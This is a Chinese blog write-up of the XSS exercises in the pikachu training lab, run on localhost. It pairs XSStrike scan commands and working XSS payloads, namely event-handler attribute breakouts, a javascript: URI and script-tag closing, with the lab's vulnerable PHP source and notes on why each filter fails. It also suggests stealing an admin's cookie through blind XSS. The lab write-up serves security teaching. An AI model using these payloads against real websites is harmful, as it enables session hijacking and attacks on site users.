网络安全-靶机pikachu之xss注入与代码分析（XSStrike实战）

最新推荐文章于 2024-05-09 14:47:00 发布
最新推荐文章于 2024-05-09 14:47:00 发布
阅读量5.6k 收藏 59
点赞数 14
分类专栏： 网络安全 # Web安全 文章标签： web 安全 XSS XSStrike
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lady_killer9/article/details/109296718
版权

目录

反射型XSS(get)

攻击

代码分析

主要步骤

反射型XSS(post)

攻击

代码分析

主要步骤

存储型XSS

攻击

代码分析

主要步骤

DOM型XSS

攻击

代码分析

主要步骤

DOM型XSS-X

代码分析

主要步骤

漏洞原因

XSS之盲打

攻击

代码分析

主要步骤

漏洞原因

XSS之过滤

 攻击

代码分析

主要步骤

XSS之HTML特殊字符

攻击

代码分析

主要步骤

XSS之href输出

攻击

代码分析

主要步骤

XSS之js输出

攻击

代码分析

主要步骤

总结

本文使用靶机pikachu，来练习一下工具XSStrike

常用命令

  • -u url
  • --skip 跳过确认提示
  • --skip-dom 跳过dom型扫描
  • --data post型时的数据

更多内容查看：网络安全-XSStrike中文手册（自学笔记）

反射型XSS(get)

输入kobe
正常

可以看到，是get型，页面返回正常

攻击

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=kobe&submit=submit" --skip --skip-dom

试一下第一个payload，利用的是html的details标签 

<detAiLs%0DoNtoGgle%0A=%0Aconfirm()//
http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=%3CdetAiLs%0doNtoGgle%0a=%0aconfirm()//&submit=submit

代码分析

$html='';
if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    }else{
        if($_GET['message']=='kobe'){
            $html.="<p class='notice'>愿你和{$_GET['message']}一样，永远年轻，永远热血沸腾！</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
        }
    }
}

<?php echo $html;?>

主要步骤

  • isset检测变量submit是否已设置并且非 NULL，即判断用户是否点击了submit按钮。
  • 得到message参数，判断是否非空。若为空，输出提示。若非空且为kobe，输出上面截图的图片及内容。
  • 否则，拼接到html变量，并输出html

反射型XSS(post)

登录后输入1，打开Hackbar和F12的控制台，分别获取POST数据和Cookie。

获取POST数据和Cookie

攻击

注意，Cookie:之后有一个空格。

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php" --data "message=1&submit=submit" --headers "Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=slttj3hh1eig65tvj7ldppb984"

使用第2个吧，

<d3v%09onmousEOVer%0d=%0dconfirm()%0dx>v3dm0s

burpsuite拦截，修改post数据

代码分析

if(!$is_login_id){

    header("location:post_login.php");

}

$state = '你已经登陆成功,<a href="xss_reflected_post.php?logout=1">退出登陆</a>';
$html='';
if(isset($_POST['submit'])){
    if(empty($_POST['message'])){
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    }else{

        //下面直接将前端输入的参数原封不动的输出了,出现xss
        if($_POST['message']=='kobe'){
            $html.="<p class='notice'>愿你和{$_POST['message']}一样，永远年轻，永远热血沸腾！</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_POST['message']},i don't care!</p>";
        }
    }
}



if(isset($_GET['logout']) && $_GET['logout'] == '1'){
    setcookie('ant[uname]','');
    setcookie('ant[pw]','');
    header("location:post_login.php");

}

主要步骤

相同的不再赘述。和之前相比，添加了登录，用来设置Cookie，不过仍然是进行拼接，没有任何过滤。

存储型XSS

输入1，点击提交，返回正常。

攻击

注意，由于保存到数据库，及时按Ctrl+C

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_stored.php" --data "message=1&submit=submit" --headers "Cookie: csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=slttj3hh1eig65tvj7ldppb984" --skip-dom --skip

XSStrike结果

 pikachu页面结果

数据库中message表部分内容： 

代码分析

$html='';
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
    $message=escape($link, $_POST['message']);
    $query="insert into message(content,time) values('$message',now())";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)!=1){
        $html.="<p>数据库出现异常，提交失败！</p>";
    }
}


if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){

    //彩蛋:虽然这是个存储型xss的页面,但这里有个delete的sql注入
    $query="delete from message where id={$_GET['id']}";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        echo "<script type='text/javascript'>document.location.href='xss_stored.php'</script>";
    }else{
        $html.="<p id='op_notice'>删除失败,请重试并检查数据库是否还好!</p>";

    }

}

<?php echo $html;
                    $query="select * from message";
                    $result=execute($link, $query);
                    while($data=mysqli_fetch_assoc($result)){
                        echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
                    }

                    echo $html;
                    ?>

主要步骤

把message和时间存储到数据库，直接从数据库中拿出来展示。

输入未过滤，输出未转码，同时，有个彩蛋，删除时存在sql注入漏洞，需要绕过is_numeric的过滤。

DOM型XSS

出现what do you see链接
点击what do you see链接后

跳转到1，说明a链接中包含输入，且url上也存在输入。

攻击

先试试和之前的文件上传漏洞合作一把。

../unsafeupload/uploads/tupian.php

点击what do you see?，即可跳转。

接下来就看xss，F12，查看链接

<a href="1">what do you see?</a>

XSStrike

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_dom.php" --data "message=1&submit=submit" --headers "Cookie: csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=toqllihbqq4jmiudeq49dfttt1" --skip
失败

 手工，闭合一下，由于点击可能跳转，使用的onmouseover事件。

' onmouseover = "alert('lady_killer9')"

成功

代码分析

            <div id="xssd_main">
                <script>
                    function domxss(){
                        var str = document.getElementById("text").value;
                        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
                    //试试：'><img src="#" onmouseover="alert('xss')">
                    //试试：' onclick="alert('xss')">,闭合掉就行
                </script>
                <!--<a href="" onclick=('xss')>-->
                <input id="text" name="text" type="text"  value="" />
                <input id="button" type="button" value="click me!" onclick="domxss()" />
                <div id="dom"></div>
            </div>

主要步骤

使用innerHTML在id为dom的 div块中添加a链接，输入的转为字符串放到a链接的href属性上。

DOM型XSS-X

输入伤心的往事

上道题使用XSStrike没做出来

 出现了一个链接，是get型传参。

点击a链接，又出现了一个，可以看到我们的输入，和上道题就一样了，我估计XSStrike还是做不出来，我就直接手工了。

手工注入

'><button οnclick="alert(/xss/)"></button>

成功

哈哈哈，那个按钮太小了，差点没看见。你可以使用<img>标签，配合onerror等事件。

代码分析

$html='';
if(isset($_GET['text'])){
    $html.= "<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>";
}  
<div id="xssd_main">
                <script>
                    function domxss(){
                        var str = window.location.search;
                        var txss = decodeURIComponent(str.split("text=")[1]);
                        var xss = txss.replace(/\+/g,' ');
//                        alert(xss);

                        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                    }
                    //试试：'><img src="#" onmouseover="alert('xss')">
                    //试试：' onclick="alert('xss')">,闭合掉就行
                </script>
                <!--<a href="" onclick=('xss')>-->
                <form method="get">
                <input id="text" name="text" type="text"  value="" />
                <input id="submit" type="submit" value="请说出你的伤心往事"/>
                </form>
                <div id="dom"></div>
            </div>

主要步骤

  • 提交表单后，得到text，添加一个a链接，href属性为#，点击运行domxss函数。
  • domxss函数将text通过正则进行一个简单过滤，然后和上一个一样。

漏洞原因

尝试过滤，但是过滤太简单。通过点击之后再显示输出，可以解决大部分自动化注入脚本，可以自己写脚本，添加锚点即可。

XSS之盲打

输入

帅呆了

lady_killer9

点击提交

正常

攻击

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xssblind/xss_blind.php" --data "content=帅呆了&name=lady_killer&submit=提交" --headers "Cookie: csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=toqllihbqq4jmiudeq49dfttt1" --skip
失败

点一下提示

提示

原来需要登录

登录后

管理员能够看到结果。我们可以通过xss注入，使用js发送邮件或使用websocket将管理员的cookie等发送到我们的服务器，在Cookie失效前使用，获得管理员权限。留言和用户名输入：

<script>alert(document.cookie)</script>

登录管理员账号查看：

攻击成功

代码分析

if(array_key_exists("content",$_POST) && $_POST['content']!=null){
    $content=escape($link, $_POST['content']);
    $name=escape($link, $_POST['name']);
    $time=$time=date('Y-m-d g:i:s');
    $query="insert into xssblind(time,content,name) values('$time','$content','$name')";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        $html.="<p>谢谢参与，阁下的看法我们已经收到!</p>";
    }else {
        $html.="<p>ooo.提交出现异常，请重新提交</p>";
    }
}

                    <?php
                    $query="select * from xssblind";
                    $result=mysqli_query($link, $query);
                    while($data=mysqli_fetch_assoc($result)){
                        $html=<<<A
    <tr>
        <td>{$data['id']}</td>
        <td>{$data['time']}</td>
        <td>{$data['content']}</td>
        <td>{$data['name']}</td>
        <td><a href="admin.php?id={$data['id']}">删除</a></td>
    </tr>
A;
                        echo $html;
                    }

                    ?>

主要步骤

提交后直接保存到数据库。显示时直接从数据库读取出来拼接后显示。

漏洞原因

未对输入进行过滤，输出时直接拼接。

个人认为这个成功的概率太低，真的是盲打，sql盲注时虽然没有具体的回显，但是好歹还知道sql语句是否运行成功，可以通过bool或时间判断。这个直接在管理员界面，你不清楚注入点，也不清楚是否需要闭合。

XSS之过滤

输入

我用Python

正常页面

get型传参，有回显。

 攻击

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_01.php?message=%E6%88%91%E7%94%A8Python&submit=submit" --skip
成功

我们就用下a链接和prompt吧，稍微修改了一下

<a onMouseover = prompt('enteryoupassword')>lady_killer9

代码分析

$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
    //这里会使用正则对<script进行替换为空,也就是过滤掉
    $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
//    $message=str_ireplace('<script>',$_GET['message']);

    if($message == 'yes'){
        $html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
    }else{
        $html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
    }

}

主要步骤

注释写的很清楚，使用正则，过滤掉<script，我们可以使用html标签进行注入。

同时，有个小彩蛋，输入yes的话就不会显示你的输入了，而是固定的文本——那就去人民广场一个人坐一会儿吧!。

XSS之HTML特殊字符

输入

I use python

正常

get型，有回显，还是a链接。

攻击

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_02.php?message=I+use+python&submit=submit" --skip

攻击成功：

成功
不对劲呀

被转义了，还是自己构造吧。

' onMouseover = alert(/xss/)

成功

代码分析

if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>输入点啥吧！</p>";
    }else {
        //使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理
        $message=htmlspecialchars($_GET['message']);
        $html1.="<p class='notice'>你的输入已经被记录:</p>";
        //输入的内容被处理后输出到了input标签的value属性里面,试试:' onclick='alert(111)'
//        $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
        $html2.="<a href='{$message}'>{$message}</a>";
    }
}

主要步骤

注释写的很清楚，使用htmlspecialchars进行处理，更多php安全相关内容，可以查看网络安全-php安全知识点。

然后拼接到a链接的href属性和输出上。

XSS之href输出

输入

www.google.com

成功

get型传参，有回显，输入到了a链接的href属性上。

攻击

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_03.php?message=www.google.com&submit=submit" --skip
竟然不用按Ctrl+C停止

竟然不用自己停止，amazing！！！就用第一个吧。

JavasCript:(confirm)()

攻击成功

使用的js伪协议，估计是有过滤，接下来看看源码吧。

代码分析

if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
    }
    if($_GET['message'] == 'www.baidu.com'){
        $html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
    }else {
        //输出在a标签的href属性里面,可以使用javascript协议来执行js
        //防御:只允许http,https,其次在进行htmlspecialchars处理
        $message=htmlspecialchars($_GET['message'],ENT_QUOTES);
        $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
    }
}

主要步骤

哈哈哈，这个逗比作者，还好我没写百度。

他也提示了，使用javascript协议绕过即可。

XSS之js输出

输入

tmac

正常返回

攻击

python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_04.php?message=tmac&submit=submit#" --skip
生成payload

不太对劲呀，每次都是这个payload，也不说怎么闭合。我黏贴了几个payload，很明显，并不行。

通过提示，我们知道是javascript动态生成，我们输入</script>试一下。

成功了

通过下面的内容，可能是单引号加</script>闭合。

代码分析

//这里讲输入动态的生成到了js中,形成xss
//javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义
//讲这个例子主要是为了让你明白,输出点在js中的xss问题,应该怎么修?
//这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。
//所以在JS的输出点应该使用\对特殊字符进行转义

if(isset($_GET['submit']) && $_GET['message'] !=null){
    $jsvar=$_GET['message'];
    if($jsvar == 'tmac'){
        $html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
    }
}

<p id="fromjs"></p>
<?php echo $html;?>

<script>
    $ms='<?php echo $jsvar;?>';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }
</script>

主要步骤

两个输出，id为fromjs的p标签内容和html变量，根据读入的变量message是否为tmac。

我们输入kobe，提交一下，查看生成的js。

可以看到单引号闭合。

'</script><script>alert('lady_killer9')</script>

成功

总结

常见闭合：单引号，双引号，js标签，html标签

XSStrike问题：不显示需要什么字符、标签进行闭合，应该就是按顺序注入的，能够注入成功的话就显示。

更多内容查看：网络安全-自学笔记

喜欢本文的请动动小手点个赞，收藏一下，有问题请下方评论，转载请注明出处，并附有原文链接，谢谢！如有侵权，请及时联系。如果您感觉有所收获，自愿打赏，可选择支付宝18833895206（小于），您的支持是我不断更新的动力。

lady_killer9
关注
  • 14
    点赞
  • 踩
  • 59
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
XSS漏洞（xss_and_mysql_file靶场实战）——渗透day10
qq_62716256的博客
09-07 1998
XSS漏洞（xss_and_mysql_file靶场实战）——day10
xss靶机训练【实现弹窗即成功】
Miracle_ze的博客
07-29 3767
xss的绕过
Web安全 Pikachu（皮卡丘）靶场搭建.
热门推荐
网络安全领域___专研者.
03-04 1万+
Pikachu（皮卡丘）是一个自带Web漏洞的应用系统，在这里包含了常见的web安全漏洞。如果你是一个想学习Web渗透测试人员，并且没有找到合适靶场，则可以使用这个Pikachu（皮卡丘）进行练习。（靶场包含：1.暴力破解，2.XSS，3.CSRF，4.SQL注入5.RCE，6.文件包含，7.不安全的文件下载，8.不安全的文件上传，9.越权，10.目录遍历，11.敏感信息泄露，12.PHP反序列化，13.XXE ，14.URL重定向，15.SSRF）
web靶场——xss-labs靶机平台的搭建和代码审计
weixin_51525416的博客
09-05 4811
web靶场-xss-labs靶机平台的搭建和代码审计
2024年网络安全最新XSStrike工具的安装及使用（包括实战应用）(2)
05-03 924
更新依赖模块，命令如下（首先进入xsstrike目录）04 使用方法测试GET传参的网页：payload=1”测试POST数据：该工具用于检测 Web 应用程序中的 XSS 漏洞，支持多种扫描选项和自定义设置。get请求练习测试post请求练习测试实战测试发现一个登录页面 用户名输入什么都显示正确，怀疑此处有注入点。放到xsstrike跑因为是post请求所以用测试post请求的命令成功拿下,使用任意payload,开始验证这时候还要普及一个xss漏洞，因为这个网站刚好有！
信安lab3：XSS漏洞和SQL注入
weixin_39974600的博客
02-11 1342
XSS漏洞和SQL注入相关的实验
Pikachu---XSS
从不专注的人的博客
07-07 209
XSS（跨站脚本）概述 Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型： 1.反射性XSS; 2.存储型XSS; 3.DOM型XSS; XSS漏洞一直被评估为web漏洞中危害较大的漏洞，在OWASP TOP10的排名中一直属于前三的江湖地位。 XSS是一种发生在前端浏览器端的漏洞，所以其危害的对象也是前端用户。 形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理，导致“精心构造”的字符输出在前端
网络安全-实验六-SQL注入-基本手工注入.docx
11-10
SQL注入是一种常见的网络安全威胁，它利用了不安全的Web应用程序中的设计缺陷，使得攻击者能够通过构造特定的SQL语句来操纵或访问数据库。在实验六中，我们将深入理解并实践这种攻击方式，以提高对网络安全的认识。 ...
网络安全pikachu的zip靶机包
10-31
网络安全领域中的Pikachu靶机，以其丰富的漏洞模拟和实战训练特性，成为了广大网络安全爱好者和专业人员的重要学习工具。本文将深入解析Pikachu靶机包，帮助读者了解其核心知识，提升安全防护和攻击检测能力。 一、...
web漏扫-appscan漏扫软件扫描靶机并分析-xss,sql等详细笔记总结
06-30
web漏扫-appscan漏扫软件扫描靶机并分析-xss,sql等详细笔记总结
2021年山东省职业院校技能大赛网络安全赛项C模块Linux靶机
04-29
假定你是某企业的网络安全渗透测试工程师，负责企业某些服务器的安全防护，为了更好的寻找企业网络中可能存在的各种问题和漏洞。你尝试利用各种攻击手段，攻击特定靶机，以便了解最新的攻击手段和技术，了解网络黑客...
DVWA靶机-XSS与CSRF、文件上传的攻击原理、分类、对比以及漏洞演示（low、Medium、Hign、Impossible）
天下著书立传者，皆为我师
03-16 1395
DVWA靶机--讲解XSS与CSRF、文件上传的攻击原理、分类、对比以及漏洞演示（low、Medium、Hign、Impossible）
我要报销靶机及XSS漏洞的利用及绕过过滤
m0_48454948的博客
01-06 249
XSS漏洞的利用及绕过过滤
nmap、X-Scan漏洞扫描和Metasploit中用永恒之蓝漏洞入侵靶机并上传冰河
m0_59302403的博客
03-22 3443
利用nmap、X-Scan扫描靶机的漏洞，在Metasploit中用扫描出的永恒之蓝漏洞入侵靶机，建立连接后上传冰河木马控制靶机，最后用冰河陷阱清除靶机的冰河木马，记一次完整的入侵控制实验。
小白简述XSS靶机（一）
yuchen的博客
03-24 1233
配置环境 虚拟机：Windows7–>IP：192.168.50.248 工具：phpstudy5.4.45 浏览器：火狐渗透版 靶场：链接：https://pan.baidu.com/s/1UTosrHqG6rIoOEIiFcF-Rw 提取码：1234 第一关 先输入XSS的代码 <script>alert(1);</script> 直接弹窗了，第一关没啥难度 第二关 还是一样，先输入代码 <script>alert(1);</script>
pikachu靶场下的xss漏洞练习
记录学习，一起进步
12-07 564
pikachu靶场进行xss漏洞练习及分析
pikachu如何利用字符型SQL注入拿下数据库
m0_61903602的博客
10-30 867
pikachu如何利用字符型SQL注入拿下数据库
网络安全-靶机pikachu之xss注入与代码分析（XSStrike实战）_反序列入漏洞工具+pikachu+xss(1)
最新发布
2401_84264662的博客
05-09 324
使用第2个吧，burpsuite拦截，修改post数据。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lady_killer9

感谢您的打赏，我会加倍努力！

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值